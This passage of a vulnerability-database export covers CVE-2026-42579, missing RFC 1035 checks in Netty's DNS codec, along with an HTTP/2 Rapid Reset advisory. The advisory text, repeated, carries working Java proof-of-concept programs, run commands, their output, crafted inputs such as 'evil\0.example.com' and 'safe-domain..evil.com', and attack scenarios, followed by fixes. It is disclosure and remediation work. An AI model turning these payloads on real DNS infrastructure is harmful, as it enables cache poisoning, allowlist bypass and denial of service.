(Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         ↑\n   Label interpretation: 200-byte label starting with 'a'\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == '\\0') {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)","status":"published","published":"2026-05-07T00:12:47Z","modified":"2026-06-11T10:04:46Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-400","CWE-626"],"updated_at":"2026-11-02T14:40:26.12116Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2023-11-06T22:08:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:15.055009Z"}],"nvd":[{"id":"CVE-2026-42579","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T19:17:23.353Z","modified":"2026-09-18T13:18:19.477Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-400","CWE-626","CWE-1286"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-42579","title":"Netty: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T18:01:52.5Z","modified":"2026-10-28T02:30:54.033016645Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-400","CWE-626"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"DEBIAN-CVE-2026-42579","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T19:17:23.353Z","modified":"2026-10-01T03:03:23.015576817Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:55.251751Z"},{"id":"GHSA-cm33-6792-r9fm","title":"Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)","description":"# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side — Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] 'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side — Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause — Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause — Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         ↑\n   Label interpretation: 200-byte label starting with 'a'\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == '\\0') {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)","status":"published","published":"2026-05-07T00:12:47Z","modified":"2026-09-10T03:51:05.363150105Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-400","CWE-626"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2026-09-10T03:49:58.76078733Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"RHLW-2026-02416b185203289c","title":"Lightwell Security Advisory: netty-codec-dns 4.1.132.Final-rhlw-00002","description":"Red Hat Lightwell has released io.netty:netty-codec-dns 4.1.132.Final-rhlw-00002 with a backported security fix.\n\nCVE-2026-42579: Netty: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-dns 4.1.132.Final from Maven 